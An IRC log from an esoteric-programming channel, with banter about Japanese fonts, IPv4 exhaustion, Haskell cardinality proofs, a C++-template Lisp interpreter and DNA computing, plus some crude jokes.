04:50:25 <HackEgo> ｆｏｏ： Ｗｅｌｃｏｍｅ ｔｏ ｔｈｅ ｉｎｔｅｒｎａｔｉｏｎａｌ ｈｕｂ ｆｏｒ ｅｓｏｔｅｒｉｃ ｐｒｏｇｒａｍｍｉｎｇ ｌａｎｇｕａｇｅ ｄｅｓｉｇｎ ａｎｄ ｄｅｐｌｏｙｍｅｎｔ！ Ｆｏｒ ｍｏｒｅ ｉｎｆｏｒｍａｔｉｏｎ， ｃｈｅｃｋ ｏｕｔ ｏｕｒ ｗｉｋｉ： ｈｔｔｐ：／／ｅｓｏｌａｎｇｓ．ｏｒ
04:51:30 <ion> Whoops, i meant to drop -Mlocale, it isn’t needed.
04:53:23 <elliott> I don't have those fonts. :(
04:53:55 <ion> Dunno, whatever Ubuntu has by default. :-P
04:54:58 <pikhq_> Something for Japanese.
04:55:02 <elliott> Didn't peg you as an Ubuntu user.
04:55:08 <pikhq_> Look for Mincho and Gothic.
04:55:09 <elliott> Ah, I'll install whatever they were called.
04:57:07 <pikhq_> Mincho and Gothic are *types* of font.
04:57:12 <pikhq_> Takao should do you fine.
04:57:51 <elliott> Yes - now why doesn't Arch have it.
04:58:08 <elliott> Lots of dashes today, I'm.
04:58:36 <elliott> pikhq_: If not Takao, what would be a good choice of (non-bitmap) Japanese fonts?
04:59:28 <ion> $ apt-cache depends ubuntu-desktop | grep ttf | cut -d' ' -f4 | xargsttf-dejavu-core ttf-freefont ttf-indic-fonts-core ttf-kacst-one ttf-khmeros-core ttf-lao ttf-liberation ttf-punjabi-fonts ttf-takao-pgothic ttf-thai-tlwg ttf-ubuntu-font-family ttf-unfonts-core ttf-wqy-microhei
05:02:31 <elliott> pikhq_: Nunavut in the repositories, either.
05:02:35 <elliott> Guess I'll AUR me some Takao.
05:02:58 <elliott> (Canadian territories are my new phonetic slang source.)
05:03:08 <ion> This was explanatory. http://static.lukew.com/japantype_mincho_gothic.gif
05:03:11 * pikhq_ is using Meiryo, but that's certainly not in the repos, in part due to being illegal without a license for Microsoft Windows
05:03:36 <pikhq_> ion: Yup, all you need to know right there.
05:03:42 <Sgeo_> Is ilari a regular here?
05:03:46 <Sgeo_> Where is ilari a regular?
05:03:56 <pikhq_> ilari was a regular here...
05:04:11 <pikhq_> He seems to have been in #x264 regularly, though.
05:04:19 <elliott> Ilari was a regular here but stopped being here ~two years ago.
05:04:33 <pikhq_> Thought it was more recent than that.
05:04:51 <elliott> You can tell by the lack of IP attrition updates.
05:05:02 <Sgeo_> He has NetHack open on termcast.org for some reason
05:05:03 <elliott> It's like the ticking of a clock, you only notice it's gone minutes too late.
05:05:10 <elliott> Lots of people termcast NetHack.
05:05:12 <Sgeo_> IP attrition updates?
05:05:47 <elliott> Y'know, IPv4 run out and all that.
05:05:52 <elliott> And IPv6 sort of had tiny little nibbles taken out of it.
05:06:08 <pikhq_> Incidentally, RIPE depletion estimated at 2013-03-16. APNIC depleted nearly a year ago.
05:06:26 -!- MDude has changed nick to MSleep.
05:06:39 <elliott> Is that causing problems in AP?
05:06:47 <elliott> I guess there's enough layers that it hasn't really hurt anyone yet.
05:07:23 <pikhq_> It's probably not hurting in Asia quite as hard as it would anywhere else.
05:07:33 <pikhq_> Some of their ISPs have offered home IPv6 since 2000.
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05:07:38 <Sgeo_> Oh, misparsed IP as intellectual property
05:07:47 <elliott> We're running out of intellectual property!
05:07:50 <elliott> Soon there'll be no more ideas.
05:07:53 <ion> “imaginary property”, FTFY.
05:08:13 * ion eats some foot dirt
05:08:21 <elliott> Lord knows all we have to do is to get people to stop saying IP and copyright will DISAPPEAR OVERNIGHT.
05:09:12 <Sgeo_> Intellectual Protocol. Internet Property.
05:09:30 * elliott saw someone expand PIPA as "Protect Internet Privacy Act".
05:09:35 <pikhq_> And we're still going through 1.34 /8s per month.
05:09:51 <elliott> Which, you know... "Act" is right.
05:09:56 <elliott> So they're not *completely* wrong.
05:10:15 <zzo38> And the first letter of each word is also correct.
05:10:41 <elliott> They were actually quite right indeed.
05:10:52 <zzo38> No, they are still wrong in general.
05:10:54 <elliott> Unfortunately, the large amount of wrong they also were drowned out recognition of this.
05:11:25 <Sgeo_> Preventing Intellectual Property Act?
05:11:28 <elliott> Preventing Real Online Threats to Economic Creativity and Theft of Intellectual Property Act.
05:11:41 <elliott> Which stands for the first n words of that expansion.
05:11:54 <elliott> I wonder who gets paid to come up with backronyms for bills.
05:12:04 <elliott> Bills? Is it a bill? I don't know "law".
05:12:13 <ion> I hate it when my intellectual property is stolen. I wish they’d just copy it.
05:12:51 <Sgeo_> ion, I think you're going to kill me.
05:13:15 <elliott> ion: Someone broke into my stereo the other day and stole my music with that "mp3" thing.
05:13:19 <Sgeo_> https://marketplace.secondlife.com/p/Antiposeball-5-SAVE-PRIMS-ON-FURNITURE/219014
05:13:41 <pikhq_> elliott: It's a bill until it gets signed into law. So, yes, "bills" would be right.
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05:14:00 <elliott> When does it become Ballmer?
05:14:11 <ion> PIРA Is a Рecursive Acronym
05:14:43 <pikhq_> When someone throws a chair across Congress.
05:15:11 <pikhq_> Especially when that someone says "Developers developers developers developers"
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05:15:57 <ion> The word Ballmer looks a bit like pallomeri, which is Finnish for a ball pit, and which translates literally to a sea of balls.
05:17:06 <elliott> ion: For certain values of a bit.
05:17:17 <elliott> Well. I suppose it has at least 1 bit in common.
05:18:01 <shachaf> elliott: Does it also have 0 bit in common?
05:18:10 <shachaf> If those are both true then it has both bits in common.
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06:29:59 <oerjan> <oklofok> also we use the partitive because you cut them into pieces if they lose
06:30:35 <oerjan> oklofok: more disturbing than usual
06:35:19 <elliott> hi oerjan! im tired oerjan!
06:35:30 <oerjan> hi elliott! go to bed elliott!
06:36:51 <oerjan> ____ ___ _____ ___ ____ _____ ____
06:36:51 <oerjan> / ___|/ _ \ |_ _/ _ \ | __ )| ____| _ \
06:36:51 <oerjan> | | _| | | | | || | | | | _ \| _| | | | |
06:36:51 <oerjan> | |_| | |_| | | || |_| | | |_) | |___| |_| |
06:36:51 <oerjan> \____|\___/ |_| \___/ |____/|_____|____/
06:37:31 <elliott> well that's just ridiculous.
06:37:57 <oerjan> well it's ridiculous if you _haven't_ been up all night.
06:38:56 <elliott> ok maybe i will. WE'LL SEE.
06:45:31 <Sgeo> "It is recommended that a report message be a complete sentences, in the proper case and correctly punctuated."
06:45:57 <Sgeo> http://www.lispworks.com/documentation/HyperSpec/Body/09_acaa.htm
06:45:58 <tswett> Rokostaa mutaa mi elejästyty jo rammastulo ei ava luonen.
06:46:27 <Sgeo> All Google Translate got out of that was "not already opened"
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06:47:52 <tswett> Huh, "ava" is a Finnish word. I didn't know that.
06:48:11 <elliott> oerjan: asdfl;;gskhh;g;j'fd'h
06:48:24 <oerjan> elliott: ewoufhwrqølbre
06:49:03 <oerjan> how dare you cry at the mighty ølbre
06:49:14 <oerjan> (that would mean beer glacier)
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06:51:11 <oerjan> elliott is a grey? that would so explain things.
06:51:33 <oerjan> what seems to be problem, actually? except that you should GO TO BED?
06:51:44 <elliott> im not sure what the problem is
06:52:00 <elliott> (a) i don't want to stay awake
06:52:19 <oerjan> a seems a bit ambivalent there
06:52:54 <Sgeo> elliott, you can't lucid dream if you don't sleep.
06:53:00 <oerjan> (ü) these things hit the unicode singularity too fast
06:53:20 <elliott> i cant lucid dream if i do sleep take that science
06:53:28 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ":(": not found
06:54:53 <elliott> at that point i realised the swamming pool was a pool... for the dead
06:56:16 <elliott> AAAAAAAAAAIIIIIIIRRRRRRRRR
06:56:18 <oerjan> i vaguely suspect the idiom actually has "pull"
06:57:19 <elliott> [Tomt] Chocolatey hazelnut spread? (self.tipofmytongue)
06:57:19 <elliott> from the title i thought i would finally be able to answer one of these.
06:57:21 <Sgeo> elliott, if you don't go to sleep, I'll be forced to force you to learn Falcon
06:59:08 <quintopia> elliott: does the text say "its definitely not nutella"?
06:59:42 <elliott> it gives enough details to rule out nutella
06:59:48 <oerjan> hm or is it "pour on" dammit i cannot find it
07:04:16 <elliott> how the FUCK do you spell tennessee
07:09:48 <elliott> oerjan: i think the problem with sleep is that you can revise a decision to stay awake on a minute-to-minute basis, which isn't possible with a decision to go to sleep. thus the decision to stay awake seems to be less risky.
07:10:22 <oerjan> i agree with the logic but sleep isn't logical.
07:10:58 <elliott> well, i was using sleep as a shorthand for "the decision-making process when tired at a bad time"
07:11:13 <elliott> not the most intuitive abbreviation i have ever made.
07:13:26 <elliott> if i sleep now, i'll just wake up at 4 pm again.
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07:22:05 <shachaf> elliott: If you don't sleep now, you'll just wake up at 16 again, but feeling grumpy.
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11:00:44 <zzo38> Can you make "where is my keys soup"?
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11:47:13 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
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12:28:25 <oklofok> "<zzo38> Has the Bible ever been translated into Egyptian hieroglyphics?" <<< did you know egyptians were giant aliens who invented electricity and disproved evolution _by their mere existence_?
12:29:14 <oklofok> i was blind but now i have youtube
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12:56:06 <Slereah> The bible has probably been translated in hieroglyphics.
12:56:14 <Slereah> I have an egyptian translation of Peter Rabbit
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15:39:17 <mroman> Are there math symbols for if/while?
15:47:09 <oerjan> if can be a large { with alternatives written behind
15:47:50 <oerjan> while is an imperative thing, so not likely in math
15:48:09 <oerjan> well except as a synonym for if
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15:49:43 <Phantom_Hoover> If in maths isn't like the imperative thing either; it's a case statement.
15:50:15 <mroman> The Haskell guys shouldn't have implemented if :(
15:50:18 <oerjan> more like guards, i think
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16:12:29 <lifthrasiir> P ? a : b is translated to [P] a + [not P] b
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16:56:10 * oerjan curiously discovers that Google seems to have missed the english wikipedia's article on Nam June Paik entirely
16:57:48 <oerjan> i suppose it must somehow have returned an error when they crawled...
17:00:27 <oerjan> either that or it's an evil north korean scheme. take your pick.
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17:12:02 <mroman> Like they sometimes do.
17:12:21 <oerjan> but only on the _english_ wikipedia.
17:12:23 <mroman> They censored the google trends once.
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17:54:19 <elliott> Friendship: Keep talkin', JavaScripter
17:54:53 <elliott> DID YER INTERVIEW GET PUBLICATED
18:14:45 <elliott> Friendship is interviewing for a job.
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18:19:27 <Friendship> oklopol: http://codu.org/tmp/answers.txt <-- here are the questions the FBI asked me, and my answers.
18:20:39 <elliott> 2.0 was those stupid fucking puzzle questions, 3.0 is asking you about hats.
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19:18:38 <mroman> Why would they ask questions about batman?
19:20:04 <mroman> Most of my answers would have been: "That information is private. It's non of your business" :)
19:20:16 <elliott> That's why you don't have a job at the FBI.
19:23:45 <mroman> Around here employees are actually not allowed to ask non-related questions.
19:24:58 <elliott> I feel compelled to point out that Friendship did not actually interview with the FBI.
19:25:24 <mroman> That makes the interview only weirder.
19:25:42 <mroman> Unless the interview itself is not real.
19:25:48 <mroman> Which would make Friendship only weirder.
19:27:22 <oerjan> elliott: does the formatting of http://esolangs.org/wiki/Qdeql#Computational_capability look good? i'm not sure if i did something too hairy to be portable.
19:28:16 <oerjan> (it's a little wider than i like, but i think that's necessary to show it properly.)
19:28:36 <elliott> oerjan: assuming that's what it's meant to look like, it looks what it's meant to look like
19:28:47 <elliott> the code with fewer lines would be better if it was at the top of the cells
19:28:58 <elliott> no, since you have a rowspan
19:29:26 <oerjan> all the rows in a column are related
19:29:37 <elliott> is that "Factory" heading meant to be a table heading? iirc mediawiki has special syntax for htat
19:29:56 <oerjan> oh right i wondered if i should use |+
19:30:23 <oerjan> it was scaled down from an even larger table where factory was a subcolumn
19:32:03 <oerjan> also, a lot of the qdeql commands are supposed to line up with the cell contents they affect
19:32:40 <elliott> assuming it's meant to line up like that.
19:32:45 <elliott> (a screenshot would be helpful :P)
19:33:31 <oerjan> how did i do that again
19:34:06 <elliott> i think XP paint can save as png.
19:35:33 <oerjan> and i've also forgotten where i uploaded last time
19:36:39 <oerjan> erm that was meant as a question
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19:40:53 <elliott> oerjan: i was doing other things :P
19:40:55 <oerjan> http://ompldr.org/vY3pndA
19:41:30 <elliott> except not off the edge of the page :P
19:41:52 <oerjan> i like my browser not to cover all of my irc session
19:42:06 <oerjan> so i keep it a little unmaximal
19:42:59 <elliott> The programming language [[Clojure]] uses a [[Persistent data structure|persistent]] variant of hash array mapped tries for its native hash map type.<ref>[http://github.com/richhickey/clojure/blob/14316ae2110a779ffc8ac9c3da3f1c41852c4289/src/jvm/clojure/lang/PersistentHashMap.java Java source file of Clojure's hash map type.]</ref>
19:43:08 <elliott> is that... an acceptable citation?
19:46:32 <elliott> http://en.wikipedia.org/wiki/Category:Articles_with_unsourced_statements
19:46:33 <elliott> "Administrators: Please do not delete this category even if it is empty!
19:46:33 <elliott> This category may be empty occasionally or even most of the time."
19:52:54 <elliott> Oh, I was going to play that.
19:53:44 <Friendship> It's F/OSS too, as is the engine that runs it.
19:54:08 <Friendship> Err, that statement was only half as silly as it sounds.
19:54:26 <Friendship> Anyway, it comes with two map packs, and I recommend you play the non-Mario one.
19:55:30 <Friendship> Other things it comes with include: RAINBOW DASH
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20:24:19 <elliott> augur: Why are you claiming that you have a bijection between a countable set and an uncountable set?
20:30:42 <elliott> http://www.reddit.com/r/haskell/comments/qn7nk/whats_the_most_clever_piece_of_haskell_code_you/
20:32:23 <lambdabot> <no location info>: parse error on input `type'
20:33:12 <oerjan> the cantor set has the same cardinality as R.
20:33:20 <elliott> Consider the function "binary digit at position N".
20:33:28 <elliott> It's an infinite stream of bits.
20:33:35 <Phantom_Hoover> Yeahyeahyeah, I get that, but something something something computability.
20:33:51 <elliott> Well, Haskell can't prove that all functions are computable.
20:34:01 <elliott> That's a property of the source encoding we use for Haskell programs.
20:34:19 <elliott> We can prove there are a countable number of Haskell programs, but not that there are a countable number of Haskell functions.
20:34:38 <elliott> Phantom_Hoover: As in, from inside Haskell, not all functions are necessarily computable.
20:34:58 <elliott> Phantom_Hoover: For example, you can use Cantor's diagonal argument in Coq.
20:35:06 <Phantom_Hoover> elliott, yeah, but where is "inside Haskell"? (I'm not trying to be obtuse here.)
20:35:08 <elliott> Even though the sets in question are "countable" from the outside.
20:35:27 <elliott> "In Haskell" makes more sense if you think of like "In Coq"; "inside" the system.
20:35:45 <elliott> Phantom_Hoover: Like, e.g. Godel's theorem says you can't prove consistency and completeness "inside" a system.
20:35:54 <Phantom_Hoover> But I can read "in Coq" as "in the C-H logic corresponding to Coq".
20:36:08 <Phantom_Hoover> The logic corresponding to Haskell isn't a very interesting thing to be inside.
20:36:57 <elliott> You might not be being deliberately obtuse, but you are being kinda dense.
20:37:08 <elliott> I never claimed Haskell's type system is a consistent logic.
20:37:47 <elliott> The fact is, (Nat -> Bool) has a greater cardinality than Nat, even if you can prove otherwise based on external factors like program encoding.
20:37:57 <elliott> Obviously a Haskell function is not a Haskell program.
20:38:00 <Phantom_Hoover> I didn't say you did; I said why I was having trouble going from Coq to Haskell.
20:38:01 <elliott> Primitives, for instance, aren't Haskell prorgams.
20:38:31 <mroman> Haskell is the reason I study :)
20:38:55 <elliott> Phantom_Hoover: diagonalise :: ((Nat -> Bool) -> Nat) -> (Nat -> Bool); diagonalise counter = counter (\n -> not (counter n n))
20:39:13 <mroman> But my study does not start until in three years.
20:39:18 <elliott> Phantom_Hoover: Give this function a proof that (Nat -> Bool) is countable, and it'll give you a (Nat -> Bool) it can't count.
20:39:30 <elliott> Phantom_Hoover: Yes, the "proof" could easily be _|_ or whatever, but in that case diagonalise just returns _|_.
20:39:52 <elliott> The point is, you can prove that function, given an appropriate input, defeats the counter; and so |Nat -> Bool| > |Nat|.
20:39:58 <mroman> Because to study what you actually want to study, you have to study a lot of bullshit.
20:40:20 <Phantom_Hoover> This reminds me of the thing whereby you can diagonalise the computable reals, but the diagonalisation is itself not computable so you can't use it to construct a new CR.
20:41:36 <elliott> Phantom_Hoover: Backtracking to Coq again (hopefully you understand what I mean by "inside" now): Consider that Coq's axioms are a *subset* of classical logic.
20:41:51 <elliott> So, obviously, you *couldn't* prove that (nat -> bool) is countable, Coq-wise.
20:42:13 <elliott> Phantom_Hoover: Similarly, if you construct the computable reals in Coq, you won't be able to prove that all functions on them are continuous.
20:42:57 <elliott> Phantom_Hoover: See also: http://r6research.livejournal.com/19619.html
20:47:20 <elliott> Phantom_Hoover has now abandoned his career in mathematics and is going to become a farmer.
20:47:56 <Phantom_Hoover> No; I'm just even more convinced not to talk to logicians.
20:48:58 <elliott> Phantom_Hoover: You just can't handle the truth.
20:49:33 <Phantom_Hoover> elliott, I can, it's just not as interesting as actual maths.
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20:54:35 * Phantom_Hoover remembers that period where he thought ais523 was a mathematician.
20:54:43 <ais523> Phantom_Hoover: I was!
20:55:24 <ais523> is there such a concept?
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20:56:58 * elliott notes that Phantom_Hoover thinks going from doing a degree in electrical engineering to a Ph.D. in computer science makes you less of a mathematician.
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21:02:17 <elliott> Phantom_Hoover: No, I didn't misping.
21:02:37 <Phantom_Hoover> Nonono, I mean I thought he was an actual, academic mathematician.
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21:03:29 <elliott> Phantom_Hoover: So calculus is more pure-mathematics than logic?
21:04:00 <elliott> Phantom_Hoover: Your definition sucks.
21:04:40 <Phantom_Hoover> And doesn't ais523 research formally-verified compilers?
21:04:42 <elliott> ...yes, which is *very* pure, as far as matheamtics goes.
21:05:02 <ais523> Phantom_Hoover: not really; I do prove that the algorithms behind the compilers are correct
21:05:13 <ais523> but I don't prove that the compilers that are intended to follow those algorithms actually do
21:05:18 <Phantom_Hoover> ais523, yes, which is hardly more "pure" than proving $theorem is correct.
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21:07:05 <ais523> Phantom_Hoover: would you call this a pure maths result?: given a set of equalities/inequalities, each of which is of one of the forms (a = b, a <= b, a <= b+c, a <= b*c), and all the unknowns are known to be nonnegative integers, it is decidable whether a given set has a solution or not
21:07:56 <Phantom_Hoover> ais523, well, TbH, pure maths is a pretty useless concept; I was joking before.
21:08:25 <ais523> you didn't answer my question
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21:09:38 <Phantom_Hoover> It's definitely maths, yes; as I just said, pure maths is just an arbitrary line drawn for largely historical reasons.
21:09:57 * elliott can't understand why someone wouldn't find foundations interesting.
21:10:02 <elliott> Especially someone interested in esolangs.
21:10:27 <Phantom_Hoover> I find them interesting, but not as interesting as the things built upon them.
21:10:40 <ais523> elliott: "foundations" = ?
21:11:09 <ais523> well, I'm pretty happy that linear and affine logic were invented
21:11:17 <ais523> or Verity probably wouldn't exist
21:11:18 <elliott> ais523: logic, set theory, type theory, etc.
21:11:29 <elliott> literally, the foundations of mathematics
21:11:41 <ais523> I'm not convinced that they're useless at all
21:12:15 <elliott> to me, finding them uninteresting compared to other concepts in mathematics is like the people who say that every programming language is the same because they all have libraries :)
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21:15:10 <Phantom_Hoover> ais523, they're obviously very useful, because you can't build without foundations, and they're interesting in their own right; I (personally) don't enjoy studying them as much as other things, but elliott seems to be veering towards declaring that they're the One True Path.
21:15:40 <elliott> No, I just think it's weird to exclude them.
21:15:56 <elliott> What would you think of a programmer completely uninterested in the programming languages they use?
21:16:02 <Phantom_Hoover> I don't think I excluded them once this turned serious?
21:16:28 <elliott> FWIW, you can build without foundations, as evidenced by the fact that mathematics existed before logic and set theory.
21:16:46 <elliott> Then the house falls down and you remember to build foundations first this time.
21:18:38 <Phantom_Hoover> I said that they're distinct from maths, because the general experience is different.
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21:35:31 <mroman> Aren't people using languages ONLY because of the library?
21:58:06 <ais523> one of the best reasons to use Perl
21:58:14 <ais523> because it has libraries that nothing else has
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22:22:03 <elliott> "Transmission WebTV is a port of the well-known Transmission BitTorrent and aMule programs to the WebTV Set-Top-Box."
22:22:32 * Sgeo suddenly nostalgias for WebTV
22:23:32 <nortti> when was it produced? Didn't it use early version of IE?
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23:13:56 <nortti> zzo38: how is your computret project going
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23:14:50 <zzo38> nortti: I have not done much at this time. When I have resources to do so, I will be able to do more. But for now they are mostly just ideas and plans and stuff, all of which is liable to be changed.
23:15:17 <zzo38> (I do have a few drawings which are publicly available, if you want to see it)
23:15:41 <oklofok> Friendship: you are pretty optimistic about the future of human civilization
23:16:35 <nortti> zzo38: what kind of cpu are you going to use in it? x86-16? x86-32? x86-64? ARM? MIPS32? MIPS64? m68k?
23:17:10 <zzo38> nortti: I don't know yet; probably ARM. Whatever is used, there should be free C compilers and free specifications (even if not the official ones).
23:17:18 <oklofok> today's morning lecture was about how you can program your own DNA strains and buy them online, and how easy it is to write programs that destroy cells.
23:18:12 <oklofok> (i asked the guy if i could actually do this stuff in my backyard (even though i naturally couldn't observe what's going on), and he said sure, although you do need some salt.)
23:18:27 <oklofok> (in addition to the DNA strains you can buy)
23:19:29 <oklofok> they have basically cured cancer in petri dishes with these, and the program is sort of trivial
23:20:00 <oklofok> a basic toeholding argument
23:20:03 <nortti> zzo38: I'd like to see the drawings
23:21:04 <zzo38> nortti: http://zzo38computer.cjb.net/powerxy/images/Game_Control.png http://zzo38computer.cjb.net/powerxy/images/Remote_Control.png (USB keyboard will also be supported)
23:21:33 <oklofok> also it's basically trivial to do things like wang tiles, and they have sofar made boolean functions and a stackmachine with the small caveat that you need to have exactly one copy of the stack strain
23:21:57 <oklofok> the guy told that they wrote this program, and they did some simulations
23:22:04 <oklofok> and on the 50th run, they had a race condition
23:22:49 <oklofok> but we're all dead in a decade
23:23:35 <oklofok> also why haven't you people told me DNA computing is something you can ACTUALLY do
23:23:44 <oklofok> i'm not supposed to be the one that BRINGS something here
23:24:15 <ais523> oh, I've known about it for a while
23:24:53 <oklofok> i thought this was all still theoretical
23:25:27 <oklofok> but you can just start programming right away by putting straings of catg in a test tube
23:25:48 <oklofok> and they do exactly what you'd expect
23:27:14 <oklofok> (computation happens by pairing two strains up with the natural involution, and you can easily do tilings like that. to have dynamic behavior, i just know the toehold technique, and that's probably much harder. but building is easy.)
23:27:26 <oklofok> you can buy strains of length 70 online
23:27:52 <oklofok> i probably mean strand now that i think about it
23:28:11 <oklofok> although DNA strain also sounds great.
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23:37:04 <Friendship> <oklofok> Friendship: you are pretty optimistic about the future of human civilization // what can I say, I'm an optimist *shrugs*
23:37:17 <elliott> Where'd Friendship optimise
23:38:29 <Friendship> I implied that humanity will exist in three hundred thousand years.
23:39:58 <oklofok> yeah at thirty years i was like what is this guy smoking
23:40:24 -!- Canadarm has changed nick to Canadarm2.
23:40:49 <elliott> (This incredibly literate phrase means: Where)
23:44:14 <elliott> Depends how you interpret "us" I suppose
23:44:41 <oklofok> well the solar system itself might survive a couple of years
23:45:06 <oklofok> humanity maybe like 5 and the earth at most 20
23:46:24 <oklofok> the universe will go on for hundreds of years ofc, but it gets bored eventually, and nothingness replaces somethingness. and me and my buddy jesus deem this unfortunate but understandable and recreate it.
23:47:03 <coppro> don't forget the mothingness
23:47:05 <oklofok> and god is like STOP CREATING WORLDS I HAVEN'T SLEPT IN LIKE 14 BILLION YEARS OR WHATEVER'S THE CONJECTURE THESE DAYS
23:47:07 <elliott> I conclude that lightspeed in oklofok's reality is at most 200 miles per hour.
23:47:54 <oklofok> i don't think there are distances strictly longer than a kilometer
23:48:14 -!- Friendship has set topic: <oklofok> i don't think there are distances strictly longer than a kilometer | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
23:55:35 <oklofok> ethical brain teaser: would you kill everyone and destroy everything if you could have EVERY cake
23:56:05 <Friendship> It's a trick question: If I destroyed everything, there would be no cake!
23:56:31 <oklofok> i'm trying to start a serious philosophical debate here
23:56:49 <oklofok> you think you know everything about cake do you
23:57:49 <oklofok> oh god there was this lecture on the physical church-turing thesis
23:58:16 <oklofok> WHY DO PEOPLE WANT TO MENTALLY MASTURBATE TO THIS KIND OF TRIVIALITIES
23:58:35 <oklofok> DON'T THEY EVER GET LIKE MENTAL PENIS CANCER FROM ALL THE RUBBING??
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23:59:19 <oklofok> i say something crude and someone leaves in tears
23:59:29 <oklofok> i should probably find religion or something
00:00:47 <oklofok> i think i'll change my whole life and be nicer from now on
00:01:06 <oklofok> hello Friendship, how's life?
00:02:37 <oklofok> i would like to "peg" your "pardon" if you catch my drift
00:03:13 <oklofok> i mean i don't understand OCHlotalk
00:04:08 <oklofok> but at least i learned a new word today
00:05:26 <oklofok> i see that people have discussed logic :O
00:06:55 -!- nortti has quit (Quit: ChatZilla 0.9.88.1 [Firefox 10.0.2/20120216213642]).
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00:11:51 <oklofok> ais523: what else do you know that you've been holding out on me?
00:12:10 <ais523> oklofok: err, I don't know
00:12:38 <oklofok> okay, please tell me when you remember
00:12:42 <oklofok> but none of that boring stuff
00:16:42 <oklofok> okay you can also tell me the boring stuff
00:17:14 <oklofok> not all of it thought because my head would become too heavy
00:17:45 <ais523> oklofok: one thing I've been wondering about is if CBPV and Underload are equivalent or not (allowing for the difference in typedness)
00:17:55 <ais523> I think CBPV embeds in Underload, but not trivially the other way round
00:18:47 <oklofok> i don't know anything about CBPV, but by the one sentence explanation by found, yeah it sounds like they could be
00:21:13 <oklofok> i have so many new ideas it's overwhelming
00:26:36 <ais523> partly because my supervisor keeps thinking things are relevant when they aren't
00:28:15 <oklofok> well i choose my topics myself, my supervisor mostly occasionally tells me that something i'm researching is a dead end
00:29:32 <oklofok> mostly it's dangerous because i can't concentrate on any single idea because the others are just as interesting
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00:31:29 <oklofok> so i mostly don't work on them at all, i just come up with more of them
00:31:59 <oklofok> i guess it would be nice to have some ideas for the summer, it would be nice to keep this publication speed up
00:32:32 <oklofok> (well, the speed i expect, depends on our success in peer-review of course)
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00:33:09 <oklofok> another problem is that when an idea is awesome enough, i'm afraid i'll destroy it if i think about it (for instance if it doesn't work)
00:37:57 <oklofok> i hugged a tree the other day
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00:41:34 <oklofok> hi elliott, have you hugged any trees lately
00:43:51 <olsner> oklofok: did it hug you back?
00:45:18 <oklofok> no, just the way i like it
00:46:48 <elliott> bad sci-fi protagonist names #3434838 Patricia Trie
00:48:01 <Sgeo> elliott, tswett monqy UPDATE
00:48:38 <olsner> not sure what you're supposed to update, but I guess you better do it
00:48:56 <elliott> hi oklofok the heating went off can you fix it
00:49:19 <oklofok> but i won't, because you haven't paid your debt
00:49:38 <oklofok> i'm not a whore you know, you have to PAY me if you want something from me.
00:53:03 <olsner> so, my lisp now does lexical instead of dynamic scoping, has some kind of closures, and supports destructive updates
00:53:22 <olsner> what can you do with a lisp?
00:53:45 <Sgeo> Add continuations?
00:53:59 <oklofok> olsner: start over and do all that again
00:54:00 <olsner> hmm, I suppose... been thinking of transforming it into a compiler too
00:54:02 <Sgeo> According to Oleg, delimited continuations are actually more powerful.
00:56:29 <elliott> olsner: remove the destructive updates
00:56:32 <olsner> might finish the gc... but it's a bit silly - I don't think I can actually unallocate memory, I think the closest thing I have is to allocate a new heap that is smaller
00:56:44 <elliott> olsner: then add laziness :P
00:57:14 <elliott> lazy lisp is actually really easy if all you have is cons pairs and symbols
00:57:15 <olsner> too lazy to do that, maybe I'll implement a lazy lisp inside the lisp I have though
00:57:27 <olsner> i.e. find a lazy lisp I can port
00:57:58 <oklofok> can we ever really "port" anything though
01:00:24 <olsner> elliott: hmm, how easy is it?
01:00:52 <elliott> olsner: well, what data types do you have and how many primitives?
01:01:26 <olsner> it should be conses, lambdas, symbols and ints
01:02:40 <olsner> well, plus random other stuff if I mix up host and lisp objects
01:04:24 <oklofok> actually there's a silent g, it should be ghost
01:05:09 <elliott> not so much a silent g in "ghost" as an invisible g in "host"
01:05:16 <oklofok> i think i made a lisp of some sort once and botted it here
01:06:18 <elliott> but nothing holds a candle to zepto
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01:08:04 <oklofok> also i think i fucked up lexical scoping to some extent (i learned about closures like halfway through my little project and so it became a bit of a mess)
01:09:04 <olsner> elliott: the host is c++ templates :)
01:09:18 <olsner> I have a script that translates s-expressions into template syntax, and a template eval<Expr,Env> that evaluates them
01:09:36 <olsner> where the Env contains the current stackframe pointer and a heap of values that can be mutated by assigning variables
01:09:58 <oklofok> you tell us you're making a lisp interpreter, but you don't mention its polterchrist is c++ templates?
01:10:25 <oklofok> isn't that like telling us you're taking a bath and not mentioning you're bathing in a WORLD FULL OF SNAKES
01:11:40 <elliott> olsner: oh right i remember
01:11:49 <elliott> oklofok: it's the art of subtlety
01:12:05 <elliott> `addquote <oklofok> you tell us you're making a lisp interpreter, but you don't mention its polterchrist is c++ templates? <oklofok> isn't that like telling us you're taking a bath and not mentioning you're bathing in a WORLD FULL OF SNAKES
01:12:14 <HackEgo> 821) <oklofok> you tell us you're making a lisp interpreter, but you don't mention its polterchrist is c++ templates? <oklofok> isn't that like telling us you're taking a bath and not mentioning you're bathing in a WORLD FULL OF SNAKES
01:12:19 <oklofok> i'm not sure polterchrist is clear without context
01:12:58 <oklofok> this concept of subtlety intrigues me
01:15:11 <elliott> ais523: what's context for?
01:15:29 <olsner> hmm, CPS would probably be a good exercise, never really grokked how to do CPS conversion before
01:15:36 <oklofok> ais523: it's one more than the previous
01:16:36 <olsner> otoh, compilation might also be nice... I'm already meta-programming in some sense, so how hard could *that* be?
01:19:23 <elliott> olsner: i suspect the best you'll be able to get is bytecode
01:19:33 <elliott> unless you just mean batch compilation
01:23:21 <Sgeo> I just mentioned #esoteric in #lisp
01:24:34 <oklofok> Sgeo: you should really try my best sometime, i think it's better
01:24:41 <oklofok> but don't try elliott's best
01:24:49 <oklofok> you'd just get scared and pee yourself
01:24:54 <Sgeo> Or not. Only person who was interested in olsner's thing: First thing asked is if it was CL or just a thing with parentheses
01:24:57 <oklofok> it's just way out of your league
01:25:49 <oklofok> what was "or not" a response to?
01:26:06 <oklofok> there are so many ridiculous claims here that i just can't choose!
01:26:29 <Sgeo> Whether anyone would actually be visiting here due to my mention of #esoteric in #lisp
01:27:16 <oklofok> that was not on my list, i decided you chna
01:27:33 <oklofok> changed your personality and told me and elliott to fuck ourselves in a subtle way.
01:28:21 <oklofok> i meant to say go fuck ourselves, but that looks good too
01:28:44 <oklofok> has a more literal feel to it in my tired eyes
01:28:51 <oklofok> i'm really going to sleep now
